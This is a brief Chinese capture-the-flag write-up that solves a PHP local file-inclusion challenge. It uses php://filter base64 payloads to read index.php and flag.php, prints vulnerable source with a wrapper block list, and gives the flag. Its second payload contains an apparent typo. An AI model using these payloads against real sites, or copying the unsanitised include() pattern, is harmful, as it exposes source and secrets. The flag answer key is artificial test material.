一看题目就是利用文件包含
打开环境,点击tips
链接有一个file传参,可以利用php://filter对文件内容进行读取
?file=php://filter/read=convert.base64-encode/resource=index.php
base64解码一下
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
对input,zip,phar协议进行了过滤,所以就是利用filter进行内容读取
?file=php://filter?read=convert.base64-encode/resource=flag.php
同样base64解码一下
<?php
echo "Can you find out the flag?";
//flag{a26fe8e9-9e84-4b87-a88e-7f4821684fec}
获得flag
flag{a26fe8e9-9e84-4b87-a88e-7f4821684fec}